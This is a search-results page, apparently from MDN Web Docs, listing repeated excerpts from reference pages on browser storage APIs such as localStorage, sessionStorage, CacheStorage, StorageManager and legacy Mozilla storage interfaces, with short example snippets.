...key is added or removed. method overview void clear(); domstring getitem(in domstring key); domstring key(in unsigned long index); void removeitem(in domstring key); void setitem(in domstring key, in domstring data); attributes attribute type description length unsigned long the number of keys stored in the session store. read only. methods clear() clear the content of this storage bound to a domain or an origin. void clear(); parameters none. getitem() returns from session storage the data corresponding to the specified key. domstring getitem( in domstring key ); parameters key the key for which data should be returned. return value an nsidomstorageitem object describing the data corresponding to the specified key, or null if no data exists for the given key. key() r...
...dex ); parameters index the index for which the corresponding key should be returned. return value a string containing the requested key. exceptions thrown index_size_err there is no key at the specified index. removeitem() given a key, removes the corresponding entry from the session store. void removeitem( in domstring key ); parameters key the key for which data should be removed from storage. setitem() sets the value corresponding to a given key. if the key does not already exist, a new key is added, associated with the specified value. if the key already exists, the existing value is replaced with the specified value. void setitem( in domstring key, in domstring data ); parameters key the key for which data should be set. data the data to associate with the specified key. se...
...And 3 more matches
nsIDOMStorageEventObsolete
obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. dom/interfaces/storage/nsidomstorageeventobsolete.idlscriptable this interface represents an event that occurs to notify interested parties about changes to the contents of a dom storage space; it is used for both session storage and local storage. 1.0 66 introduced gecko 1.8 obsolete gecko 2.0 inherits from: nsidomevent last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) when a dom storage event is received, the recipient can check its domain attribute to determine which domain's data store has changed. if the v...
...orage and local storage. 1.0 66 introduced gecko 1.8 obsolete gecko 2.0 inherits from: nsidomevent last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) when a dom storage event is received, the recipient can check its domain attribute to determine which domain's data store has changed. if the value of the domain attribute is "#session", then the session storage has changed. note: this interface describes the old, non-standard form of this event. you should use the nsidomstorageevent interface instead. ...
....0) when a dom storage event is received, the recipient can check its domain attribute to determine which domain's data store has changed. if the value of the domain attribute is "#session", then the session storage has changed. note: this interface describes the old, non-standard form of this event. you should use the nsidomstorageevent interface instead. ...
...And 3 more matches
CacheStorage.keys() - Web APIs
Web › API › CacheStorage › keys
examples in this code snippet we wait for an activate event, and then run a waituntil() block that clears up any old, unused caches before a new service worker is activated. ...
... examples in this code snippet we wait for an activate event, and then run a waituntil() block that clears up any old, unused caches before a new service worker is activated. ...
... examples in this code snippet we wait for an activate event, and then run a waituntil() block that clears up any old, unused caches before a new service worker is activated. ...
...And 3 more matches
Storage.getItem() - Web APIs
Web › API › Storage › getItem
the getitem() method of the storage interface, when passed a key name, will return that key's value, or null if the key does not exist, in the given storage object. syntax var avalue = storage.getitem(keyname); parameters keyname a domstring containing the name of the key you want to retrieve the value of. return value a domstring containing the value of the key. if the key does not exist, null is returned. example the following function retrieves three data items from local storage, then uses them to set custom styles on a page. ...
...tem(keyname); parameters keyname a domstring containing the name of the key you want to retrieve the value of. return value a domstring containing the value of the key. if the key does not exist, null is returned. example the following function retrieves three data items from local storage, then uses them to set custom styles on a page. ...
...ntaining the name of the key you want to retrieve the value of. return value a domstring containing the value of the key. if the key does not exist, null is returned. example the following function retrieves three data items from local storage, then uses them to set custom styles on a page. ...
...And 3 more matches
Window.localStorage - Web APIs
the read-only localstorage property allows you to access a storage object for the document's origin; the stored data is saved across browser sessions. localstorage is similar to sessionstorage, except that while data stored in localstorage has no expiration time, data stored in sessionstorage gets cleared when the page session ends — that is, when the page is closed. (data in a localstorage object created in a "private browsing" or "incognito" session is cleared when the last "private" tab is closed.) data stored in either localstorage is specific to the protocol of the page. in particular, data stored by a script on a site accessed with http (e.g., http://example.com) is put in a different localstorage object from the same site accessed with https (e.g., https://example.com). the keys and t...
...the page. in particular, data stored by a script on a site accessed with http (e.g., http://example.com) is put in a different localstorage object from the same site accessed with https (e.g., https://example.com). the keys and the values are always in the utf-16 domstring format, which uses two bytes per character. as with objects, integer keys are automatically converted to strings. syntax mystorage = window.localstorage; value a storage object which can be used to access the current origin's local storage space. exceptions securityerror the request violates a policy decision, or the origin is not a valid scheme/host/port tuple (this can happen if the origin uses the file: or data: scheme, for example). for example, the user may have their browser configured to deny permission to pers...
...storage space. exceptions securityerror the request violates a policy decision, or the origin is not a valid scheme/host/port tuple (this can happen if the origin uses the file: or data: scheme, for example). for example, the user may have their browser configured to deny permission to persist data for the specified origin. example the following snippet accesses the current domain's local storage object and adds a data item to it using storage.setitem(). ...
...And 3 more matches
Window.sessionStorage - Web APIs
the read-only sessionstorage property accesses a session storage object for the current origin. sessionstorage is similar to localstorage; the difference is that while data in localstorage doesn't expire, data in sessionstorage is cleared when the page session ends. a page session lasts as long as the browser is open, and survives over page reloads and restores. opening a page in a new tab or window creates a new session with the value of the top-level browsing context, which differs from how session cookies work. opening multiple tabs/windows with the same url creates sessionstorage for each tab/window. closing a tab/window ends the session and clears objects in sessionstorage. data stored in sessionstorage is specific to the protocol of the page. in particular, data stored by a script ...
...s from how session cookies work. opening multiple tabs/windows with the same url creates sessionstorage for each tab/window. closing a tab/window ends the session and clears objects in sessionstorage. data stored in sessionstorage is specific to the protocol of the page. in particular, data stored by a script on a site accessed with http (e.g., http://example.com) is put in a different sessionstorage object from the same site accessed with https (e.g., https://example.com). the keys and the values are always in the utf-16 domstring format, which uses two bytes per character. as with objects, integer keys are automatically converted to strings. syntax mystorage = window.sessionstorage; value a storage object which can be used to access the current origin's session storage space. excepti...
...orage space. exceptions securityerror the request violates a policy decision, or the origin is not a valid scheme/host/port tuple (this can happen if the origin uses the file: or data: scheme, for example). for example, the user may have their browser configured to deny permission to persist data for the specified origin. example the following snippet accesses the current origin's session storage object and adds data to it with storage.setitem(). sessionstorage.setitem('mycat', 'tom'); the following example autosaves the contents of a text field, and if the browser is refreshed, restores the text field content so that no writing is lost. // get the text field that we're going to track let field = document.getelementbyid("field"); // see if we have an autosave value // (this will only ...
...And 3 more matches
nsIDOMStorageManager
dom/interfaces/storage/nsidomstoragemanager.idlscriptable this interface provides methods for managing data stored in the offline apps cache. 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by @mozilla.org/dom/storagemanager;1 as a service: var domstoragemanager = components.classes["@mozilla.org/dom/storagemanager;1"] .getservice(components.interfaces.nsidomstoragemanager); method overview void clearofflineapps(); nsidomstorage getlocalstorageforprincipal(in nsiprincipal aprincipal, in domstring adocumenturi); long getusage(in astring aownerdomain); methods clearofflineapps() clears keys owned by offline applications. all data owne...
...thod overview void clearofflineapps(); nsidomstorage getlocalstorageforprincipal(in nsiprincipal aprincipal, in domstring adocumenturi); long getusage(in astring aownerdomain); methods clearofflineapps() clears keys owned by offline applications. all data owned by a domain with the "offline-app" permission is removed from the database. void clearofflineapps(); parameters none. getlocalstorageforprincipal() returns the instance of the localstorage object for auri's origin. this is used to ensure that only one local storage area exists for a given origin. nsidomstorage getlocalstorageforprincipal( nsiprincipal aprincipal, domstring adocumenturi ); parameters aprincipal the principal for which to return the local storage object. adocumenturi the document's uri. return value the l...
...incipal() returns the instance of the localstorage object for auri's origin. this is used to ensure that only one local storage area exists for a given origin. nsidomstorage getlocalstorageforprincipal( nsiprincipal aprincipal, domstring adocumenturi ); parameters aprincipal the principal for which to return the local storage object. adocumenturi the document's uri. return value the local storage object for the specified principal. getusage() returns the amount of disk space used by a domain. usage is checked against the domain of the page that set the key (the owner domain), not the domain of the storage object. long getusage( astring aownerdomain ); parameters aownerdomain the domain to check. ...
...And 2 more matches
nsILoginManagerStorage
note: extensions that simply want to access/store logins should use the login manager service and nsiloginmanager interface instead. ...
...note: extensions that simply want to access/store logins should use the login manager service and nsiloginmanager interface instead. ...
...le this interface is implemented by modules that wish to provide storage mechanisms for the login manager. 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for example, if you wish to provide operating system integration with a native password manager system, implementing and registering a storage module for the login manager is how you do it. see creating a login manager storage module for details. note: extensions that simply want to access/store logins should use the login manager service and nsiloginmanager interface instead. the login manager will handle selecting and using the correct nsiloginmanangerstorage module. method overview void addlogin(in nsilogininfo alogin); unsigned...
...And 2 more matches
WebGL2RenderingContext.renderbufferStorageMultisample() - Web APIs
internalformat a glenum specifying the internal format of the renderbuffer. ...
... internalformat a glenum specifying the internal format of the renderbuffer. ...
... internalformat a glenum specifying the internal format of the renderbuffer. ...
...And 2 more matches
mozIStorageBindingParamsArray
the mozistoragebindingparamsarray interface is a container for mozistoragebindingparams objects, and is used to store sets of bound parameters that will be used by the mozistoragestatement.executeasync(). storage/public/mozistoragebindingparamsarray.idlscriptable please add a summary to this article. last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports you can only create these objects by calling the mozistoragestatement.newbindingparamsarray(). ...
...ed by the mozistoragestatement.executeasync(). storage/public/mozistoragebindingparamsarray.idlscriptable please add a summary to this article. last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports you can only create these objects by calling the mozistoragestatement.newbindingparamsarray(). method overview void addparams(in mozistoragebindingparams aparameters); mozistoragebindingparams newbindingparams(); attributes attribute type description length unsigned long the number of mozistoragebindingparams objects in the array. methods addparams() adds the specified set of parameters to the end of the array. ...
...params(in mozistoragebindingparams aparameters); mozistoragebindingparams newbindingparams(); attributes attribute type description length unsigned long the number of mozistoragebindingparams objects in the array. methods addparams() adds the specified set of parameters to the end of the array. the appended parameters will be used when mozistoragestatement.executeasync() is called. void addparams( in mozistoragebindingparams aparameters ); parameters aparameters the mozistoragebindingparams object containing the parameters to append to the array. newbindingparams() creates and returns a new, empty, mozistoragebindingparams object to which you can add parameters and their values for binding. ...
...rs will be used when mozistoragestatement.executeasync() is called. void addparams( in mozistoragebindingparams aparameters ); parameters aparameters the mozistoragebindingparams object containing the parameters to append to the array. newbindingparams() creates and returns a new, empty, mozistoragebindingparams object to which you can add parameters and their values for binding. mozistoragebindingparams newbindingparams(); parameters none. ...
mozIStorageResultSet
the mozistorageresultset interface represents a set of results from a storage statement. storage/public/mozistorageresultset.idlscriptable please add a summary to this article. last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview mozistoragerow getnextrow(); methods getnextrow() returns the next row from the result set. mozistoragerow getnextrow(); parameters none. return value a mozistoragerow object containing the next row from the result set, or null if there are no more results. ...
... last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview mozistoragerow getnextrow(); methods getnextrow() returns the next row from the result set. mozistoragerow getnextrow(); parameters none. ...
...ged in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview mozistoragerow getnextrow(); methods getnextrow() returns the next row from the result set. mozistoragerow getnextrow(); parameters none. ...
...refox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview mozistoragerow getnextrow(); methods getnextrow() returns the next row from the result set. mozistoragerow getnextrow(); parameters none. ...
nsIDOMStorageList
dom/interfaces/storage/nsidomstoragelist.idlscriptable this interface is used to access the contextual storage areas used by globalstorage by domain. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview nsidomstorage nameditem(in domstring domain); methods nameditem() called when the list of available access points changes. nsidomstorage nameditem( in domstring domain ); parameters domain the name of the domain for whom to return the storage object. ...
...rits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview nsidomstorage nameditem(in domstring domain); methods nameditem() called when the list of available access points changes. nsidomstorage nameditem( in domstring domain ); parameters domain the name of the domain for whom to return the storage object. ...
...seamonkey 1.0) method overview nsidomstorage nameditem(in domstring domain); methods nameditem() called when the list of available access points changes. nsidomstorage nameditem( in domstring domain ); parameters domain the name of the domain for whom to return the storage object. ...
... nsidomstorage nameditem(in domstring domain); methods nameditem() called when the list of available access points changes. nsidomstorage nameditem( in domstring domain ); parameters domain the name of the domain for whom to return the storage object. ...
Storage.removeItem() - Web APIs
the removeitem() method of the storage interface, when passed a key name, will remove that key from the given storage object if it exists. the storage interface of the web storage api provides access to a particular domain's session or local storage. if there is no item associated with the given key, this method will do nothing. syntax storage.removeitem(keyname); parameters keyname a domstring containing the name of the key you want to remove. return value undefined. example the following function creates three data items inside local storage, then removes the image data item. ...
...domain's session or local storage. if there is no item associated with the given key, this method will do nothing. syntax storage.removeitem(keyname); parameters keyname a domstring containing the name of the key you want to remove. return value undefined. example the following function creates three data items inside local storage, then removes the image data item. function populatestorage() { localstorage.setitem('bgcolor', 'red'); localstorage.setitem('font', 'helvetica'); localstorage.setitem('image', 'mycat.png'); localstorage.removeitem('image'); } we can do the same for the session storage. ...
...rn value undefined. example the following function creates three data items inside local storage, then removes the image data item. function populatestorage() { localstorage.setitem('bgcolor', 'red'); localstorage.setitem('font', 'helvetica'); localstorage.setitem('image', 'mycat.png'); localstorage.removeitem('image'); } we can do the same for the session storage. function populatestorage() { sessionstorage.setitem('bgcolor', 'red'); sessionstorage.setitem('font', 'helvetica'); sessionstorage.setitem('image', 'mycat.png'); sessionstorage.removeitem('image'); } note: to see this used within a real world example, see our web storage demo. ...
...ction populatestorage() { sessionstorage.setitem('bgcolor', 'red'); sessionstorage.setitem('font', 'helvetica'); sessionstorage.setitem('image', 'mycat.png'); sessionstorage.removeitem('image'); } note: to see this used within a real world example, see our web storage demo. specifications specification status comment html living standardthe definition of 'storage.removeitem' in that specification. living standard ...
StorageQuota.queryInfo - Web APIs
specifications specification status comment quota management apithe definition of 'queryinfo()' in that specification. ...
... specifications specification status comment quota management apithe definition of 'queryinfo()' in that specification. ...
... specifications specification status comment quota management apithe definition of 'queryinfo()' in that specification. ...
... specifications specification status comment quota management apithe definition of 'queryinfo()' in that specification. ...
extISessionStorage
this content covers features introduced in thunderbird 3 extisessionstorage allows an extension to store data for the life time of the application (e.g. browser). extisessionstorage is defined in toolkit/components/exthelper/extiapplication.idl. implemented via xpcom service for extiapplication: see the instructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages. method overview these methods are usually accessed via application.storage. return type method boolean has(in astring aname) void set(in astring aname, in nsivariant avalue) nsivariant get(in astring aname, in nsivariant adefaultvalue) attributes attribute type description events readonly attribute extievents the events...
...thods are usually accessed via application.storage. return type method boolean has(in astring aname) void set(in astring aname, in nsivariant avalue) nsivariant get(in astring aname, in nsivariant adefaultvalue) attributes attribute type description events readonly attribute extievents the events object for the storage supports: "change" methods has() determines if a storage item exists with the given name. boolean has(in astring aname) parameters aname the name of an item return value true if an item exists with the given name, false otherwise. set() sets the value of a storage item with the given name. void set(in astring aname, in nsivariant avalue) parameters aname the name of an...
...returns a default value if the item does not exist. nsivariant get(in astring aname, in nsivariant adefaultvalue) parameters aname the name of an item return value value of the item or the given default value if no item exists with the given name. ...
mozIStorageAsyncStatement
an asynchronous sql statement. this differs from mozistoragestatement by only being usable for asynchronous execution. (mozistoragestatement can be used for both synchronous and asynchronous purposes.) this specialization for asynchronous operation allows us to avoid needing to acquire synchronization primitives also used by the asynchronous execution thread. ...
... an asynchronous sql statement. this differs from mozistoragestatement by only being usable for asynchronous execution. (mozistoragestatement can be used for both synchronous and asynchronous purposes.) this specialization for asynchronous operation allows us to avoid needing to acquire synchronization primitives also used by the asynchronous execution thread. ...
...es.) this specialization for asynchronous operation allows us to avoid needing to acquire synchronization primitives also used by the asynchronous execution thread. ...
mozIStorageStatementCallback
the mozistoragestatementcallback interface represents a callback handler that the storage api calls with result, error, and completion notifications while handling asynchronous database queries. storage/public/mozistoragestatementcallback.idlscriptable please add a summary to this article. last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview void handlecompletion(in unsigned short areason); void handleerror(in mozistorageerror aerror); void handleresult(in mozistorageresultset aresultset); constants constant value description reason_finished 0 the statement has finished executing normally. reason_canceled 1 the statement stopped executing becau...
...d. methods handlecompletion() called when a statement finishes executing. void handlecompletion( in unsigned short areason ); parameters areason the reason the statement stopped executing; see the list of possible values in the constants section. handleerror() called when an error occurs while executing a statement. this function may be called more than once with a different storageierror each time for any given asynchronous statement, and handlecompletion will be called once the statement is complete. void handleerror( in mozistorageerror aerror ); parameters aerror a mozistorageerror object describing the error that occurred. handleresult() called when results from the statement are available. generally, this method will be called several times, each time p...
...oid handleerror( in mozistorageerror aerror ); parameters aerror a mozistorageerror object describing the error that occurred. handleresult() called when results from the statement are available. generally, this method will be called several times, each time providing one or more results. once there are no more results, handlecompletion will be called. void handleresult( in mozistorageresultset aresultset ); parameters aresultset an mozistorageresultset object describing the available results from the statement's execution. ...
mozIStorageVacuumParticipant
expecteddatabasepagesize long the expected page size, in bytes, for the database. ...
... expecteddatabasepagesize long the expected page size, in bytes, for the database. ...
... gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to create an instance of this interface, use the category manger, with the category "vacuum-participant". add more details here. method overview boolean onbeginvacuum(); void onendvacuum(in boolean asucceeded); attributes attribute type description databaseconnection mozistorageconnection a connection to the database file to be vacuumed. expecteddatabasepagesize long the expected page size, in bytes, for the database. the vacuum manager will try to correct the page size when the browser is idle, using this value as a target. valid page sizes are in the range 512 to 65,536. the recommended value is mozistorageconnection::default_page_size. note: if the database is usin...
nsIDOMStorage2
the nsidomstorage2 interface represents the storage space used for local storage in the dom. items stored in local storage may only be accessed by the same origin that created the items in the first place. a dom window's local storage object can be retrieved from the window's localstorage attribute. dom/public/idl/storage/nsidomstorage2.idlscriptable please add a summary to this article. last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview void clear(); domstring getitem(in domstring key); domstring key(in unsigned long index); void removeitem(in domstring key); void setitem(in domstring key, in domstring data); attributes attribute type description length unsigned long the number of keys stored in l...
...d in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview void clear(); domstring getitem(in domstring key); domstring key(in unsigned long index); void removeitem(in domstring key); void setitem(in domstring key, in domstring data); attributes attribute type description length unsigned long the number of keys stored in local storage. methods clear() clears the contents of this storage context; this removes all values bound to the domain or origin. void clear(); parameters none. getitem() returns from local storage the data corresponding to the specified key. domstring getitem( in domstring key ); parameters key the key for which data should be returned. return value a string containing the data corresponding to the s...
...y() returns the key for the item stored at the specified index in the data store. domstring key( in unsigned long index ); parameters index the index for which the corresponding key should be returned. return value a string containing the requested key. exceptions thrown index_size_errthere is no key at the specified index. removeitem() given a key, removes the corresponding entry from local storage. void removeitem( in domstring key ); parameters key the key for which data should be removed from storage. setitem() sets the value corresponding to a given key. if the key does not already exist, a new key is added, associated with the specified value. if the key already exists, the existing value is replaced with the specified value. void setitem( in domstring key, in domstring data ...
CacheStorage.delete() - Web APIs
syntax caches.delete(cachename).then(function(boolean) { // your cache is now deleted }); parameters cachename the name of the cache you want to delete. return value a promise that resolves to true if the cache object is found and deleted, and false otherwise. examples in this code snippet we wait for an activate event, and then run a waituntil() block that clears up any old, unused caches before a new service worker is activated. ...
... return value a promise that resolves to true if the cache object is found and deleted, and false otherwise. examples in this code snippet we wait for an activate event, and then run a waituntil() block that clears up any old, unused caches before a new service worker is activated. here we have an array of cache names we want to keep (cachestokeep). we return the keys of the caches in the cachestorage object using cachestorage.keys, then check each key to see if it is in the array. if not, we delete it using delete(). this.addeventlistener('activate', function(event) { var cachestokeep = ['v2']; event.waituntil( caches.keys().then(function(keylist) { return promise.all(keylist.map(function(key) { if (cachestokeep.indexof(key) === -1) { return caches.delete(key...
... working draft initial definition. ...
CacheStorage.has() - Web APIs
Web › API › CacheStorage › has
return value a promise that resolves to true if the cache exists or false if not. examples the following example first checks whether a cache called 'v1' exists. if so, we add a list of assets to it. if not then we run some kind of cache set-up function. ...
... return value a promise that resolves to true if the cache exists or false if not. examples the following example first checks whether a cache called 'v1' exists. if so, we add a list of assets to it. if not then we run some kind of cache set-up function. ...
...un some kind of cache set-up function. caches.has('v1').then(function(hascache) { if (!hascache) { somecachesetupfunction(); } else { caches.open('v1').then(function(cache) { return cache.addall(myassets); }); } }).catch(function() { // handle exception here. }); specifications specification status comment service workersthe definition of 'cachestorage: has' in that specification. working draft initial definition. ...
CacheStorage.match() - Web APIs
cache objects are searched in creation order. note: caches.match() is a convenience method. equivalent functionality is to call cache.match() on each cache (in the order returned by caches.keys()) until a response is returned. syntax caches.match(request, options).then(function(response) { // do something with the response }); parameters request the request you want to match. this can be a request object or a url string. ...
... within. return value a promise that resolves to the matching response. if no matching response to the specified request is found, the promise resolves with undefined. examples this example is from the mdn sw-test example (see sw-test running live). here we wait for a fetchevent to fire. we construct a custom response like so: check whether a match for the request is found in the cachestorage using cachestorage.match(). if so, serve that. if not, open the v1 cache using open(), put the default network request in the cache using cache.put() and return a clone of the default network request using return response.clone(). the last is necessary because put() consumes the response body. if this fails (e.g., because the network is down), return a fallback response. self.addeventlistener...
... working draft initial definition. ...
CacheStorage.open() - Web APIs
Web › API › CacheStorage › open
the open() method of the cachestorage interface returns a promise that resolves to the cache object matching the cachename. you can access cachestorage through the global caches property. note: if the specified cache does not exist, a new cache is created with that cachename and a promise that resolves to this new cache object is returned. syntax caches.open(cachename).then(function(cache) { // do something with your cache }); parameters cachename the name of the cache you want to open. return value a promise that resolves to the requested cache object. examples this example is from the mdn sw-test example (see sw-test running live). here we wait for an installevent to fire, then runs waituntil() to handle the install process for the app. ...
... { // do something with your cache }); parameters cachename the name of the cache you want to open. return value a promise that resolves to the requested cache object. examples this example is from the mdn sw-test example (see sw-test running live). here we wait for an installevent to fire, then runs waituntil() to handle the install process for the app. this consists of calling cachestorage.open() to create a new cache, then using cache.addall() to add a series of assets to it. self.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.addall([ '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-...
... working draft initial definition. ...
Document.hasStorageAccess() - Web APIs
the hasstorageaccess() method of the document interface returns a promise that resolves with a boolean value indicating whether the document has access to its first-party storage. see storage access api for more information. syntax var promise = document.hasstorageaccess(); parameters none. return value a promise that resolves with a boolean value indicating whether the document has access to its first-party storage. if the promise gets resolved and a user gesture event was being processed when the function was originally called, the resolve handler will run as if a user gesture was being processed, so it will be able to call apis that require user activation. ...
...turn value a promise that resolves with a boolean value indicating whether the document has access to its first-party storage. if the promise gets resolved and a user gesture event was being processed when the function was originally called, the resolve handler will run as if a user gesture was being processed, so it will be able to call apis that require user activation. examples document.hasstorageaccess().then(hasaccess => { if (hasaccess) { // storage access has been granted already. } else { // storage access hasn't been granted already; // you may want to call requeststorageaccess(). } }); specifications the api is currently only at the proposal stage — the standardization process has yet to begin. you can currently find specification details of the api at apple's ...
...n(hasaccess => { if (hasaccess) { // storage access has been granted already. } else { // storage access hasn't been granted already; // you may want to call requeststorageaccess(). } }); specifications the api is currently only at the proposal stage — the standardization process has yet to begin. you can currently find specification details of the api at apple's introducing storage access api blog post, and whatwg html issue 3338 — proposal: storage access api. ...
NavigatorStorage - Web APIs
the navigatorstorage mixin adds to the navigator and workernavigator interfaces the navigator.storage property, which provides access to the storagemanager singleton used for controlling the persistence of data stores as well as obtaining information note: this feature is available in web workers. there are many apis which provide ways for web content to store data on a user's computer, including cookies, the web storage api (window.localstorage and window.sessionstorage), and indexeddb. the storage standard is designed to serve as a common basis for the implementation of all of those apis and storage technologies, so that their constraints and configurations can be understood and controlled using a common set of methods and properties. ...
... data on a user's computer, including cookies, the web storage api (window.localstorage and window.sessionstorage), and indexeddb. the storage standard is designed to serve as a common basis for the implementation of all of those apis and storage technologies, so that their constraints and configurations can be understood and controlled using a common set of methods and properties. properties storage read only secure context returns the storagemanager singleton object which is used to access the storage manager. through the returned object, you can control persistence of data stores as well as get estimates of how much space is left for your site or appliation to store data. methods the navigatorstorage mixin has no methods. specifications specification status comment ...
... secure context returns the storagemanager singleton object which is used to access the storage manager. through the returned object, you can control persistence of data stores as well as get estimates of how much space is left for your site or appliation to store data. methods the navigatorstorage mixin has no methods. specifications specification status comment storage living standard initial definition. ...
Storage.key() - Web APIs
Web › API › Storage › key
the key() method of the storage interface, when passed a number n, returns the name of the nth key in a given storage object. the order of keys is user-agent defined, so you should not rely on it. syntax var akeyname = storage.key(index); parameters index an integer representing the number of the key you want to get the name of. this is a zero-based index. return value a domstring containing the name of the key. if the index does not exist, null is returned. ...
...rder of keys is user-agent defined, so you should not rely on it. syntax var akeyname = storage.key(index); parameters index an integer representing the number of the key you want to get the name of. this is a zero-based index. return value a domstring containing the name of the key. if the index does not exist, null is returned. examples the following function iterates over the local storage keys: function foreachkey(callback) { for (var i = 0; i < localstorage.length; i++) { callback(localstorage.key(i)); } } the following function iterates over the local storage keys and gets the value set for each key: for(var i =0; i < localstorage.length; i++){ console.log(localstorage.getitem(localstorage.key(i))); } note: for a real world example, see our web storage demo. spe...
...calstorage.key(i)); } } the following function iterates over the local storage keys and gets the value set for each key: for(var i =0; i < localstorage.length; i++){ console.log(localstorage.getitem(localstorage.key(i))); } note: for a real world example, see our web storage demo. specifications specification status comment html living standardthe definition of 'storage.key' in that specification. living standard ...
Storage.setItem() - Web APIs
Web › API › Storage › setItem
the setitem() method of the storage interface, when passed a key name and value, will add that key to the given storage object, or update that key's value if it already exists. syntax storage.setitem(keyname, keyvalue); parameters keyname a domstring containing the name of the key you want to create/update. keyvalue a domstring containing the value you want to give the key you are creating/updating. return value undefined. exceptions setitem() may throw an exception if the storage is full. particularly, in mobile safari (since ios 5) it always throws when the user enters private mode. ...
... want to create/update. keyvalue a domstring containing the value you want to give the key you are creating/updating. return value undefined. exceptions setitem() may throw an exception if the storage is full. particularly, in mobile safari (since ios 5) it always throws when the user enters private mode. (safari sets the quota to 0 bytes in private mode, unlike other browsers, which allow storage in private mode using separate data containers.) hence developers should make sure to always catch possible exceptions from setitem(). ...
...l. particularly, in mobile safari (since ios 5) it always throws when the user enters private mode. (safari sets the quota to 0 bytes in private mode, unlike other browsers, which allow storage in private mode using separate data containers.) hence developers should make sure to always catch possible exceptions from setitem(). example the following function creates three data items inside local storage. function populatestorage() { localstorage.setitem('bgcolor', 'red'); localstorage.setitem('font', 'helvetica'); localstorage.setitem('image', 'mycat.png'); } note: to see this used within a real world example, see our web storage demo. specifications specification status comment html living standardthe definition of 'storage.setitem' in that specification. ...
StorageEstimate - Web APIs
the storageestimate dictionary is used by the storagemanager to provide estimates of the size of a site's or application's data store and how much of it is in use. the estimate() method returns an object that conforms to this dictionary when its promise resolves. these values are only estimates for several reasons, including both performance and preventing storage capacity data from being used for fingerprinting purposes. see the individual property pages for details. properties quota secure context a numeric value in bytes which provides a conservative approximation of the total storage the user's device or computer has available for the site origin or web app. it's possible that there's more than this amount of space available though you can't rely on that being the case. usag...
...tails. properties quota secure context a numeric value in bytes which provides a conservative approximation of the total storage the user's device or computer has available for the site origin or web app. it's possible that there's more than this amount of space available though you can't rely on that being the case. usage secure context a numeric value in bytes approximating the amount of storage space currently being used by the site or web app, out of the available space as indicated by quota. unit is byte. usagedetails secure context a dictionary containing a breakdown of usage by storage system. all included members will have a usage greater than 0 and any storage system with 0 usage will be excluded from the dictionary. specifications specification status comme...
...ntly being used by the site or web app, out of the available space as indicated by quota. unit is byte. usagedetails secure context a dictionary containing a breakdown of usage by storage system. all included members will have a usage greater than 0 and any storage system with 0 usage will be excluded from the dictionary. specifications specification status comment storagethe definition of 'storageestimate' in that specification. living standard initial definition. ...
StorageManager.estimate() - Web APIs
the estimate() method of the storagemanager interface asks the storage manager for how much storage the current origin takes up (usage), and how much space is available (quota). this method operates asynchronously, so it returns a promise which resolves once the information is available. the promise's fulfillment handler is called with a storageestimate containing the usage and quota data. syntax const estimatepromise = storagemanager.estimate(); parameters none. return value a promise that resolves to an object which conforms to the storageestimate dictionary. this dictionary contains estimates of how much space is available to the origin in storageestimate.quota, as well as how much is currently used in storageestimate.usage. the returned values are not exact; between compression, d...
...scation for security reasons, they will be imprecise. you may find that the quota varies from origin to origin. ...
...s: how often the user visits public site popularity data user engagement signals like bookmarking, adding to homescreen, or accepting push notifications example in this example, we obtain the usage estimates and present the percentage of storage capacity currently used to the user. html content <label> you’re currently using about <output id="percent"> </output>% of your available storage. </label> javascript content navigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'estimate()' in that specification. living standard initial definition. ...
StorageManager.persist() - Web APIs
the persist() method of the storagemanager interface requests permission to use persistent storage, and returns a promise that resolves to true if permission is granted and box mode is persistent, and false otherwise. syntax navigator.storage.persist().then(function(persistent) { ... }) parameters none. return value a promise that resolves to a boolean. ...
... the persist() method of the storagemanager interface requests permission to use persistent storage, and returns a promise that resolves to true if permission is granted and box mode is persistent, and false otherwise. syntax navigator.storage.persist().then(function(persistent) { ... }) parameters none. return value a promise that resolves to a boolean. ...
...sist() method of the storagemanager interface requests permission to use persistent storage, and returns a promise that resolves to true if permission is granted and box mode is persistent, and false otherwise. syntax navigator.storage.persist().then(function(persistent) { ... }) parameters none. return value a promise that resolves to a boolean. example if (navigator.storage && navigator.storage.persist) navigator.storage.persist().then(function(persistent) { if (persistent) console.log("storage will not be cleared except by explicit user action"); else console.log("storage may be cleared by the ua under storage pressure."); }); specifications specification status comment storagethe definition of 'persist' in that specification. living...
WebGLRenderingContext.renderbufferStorage() - Web APIs
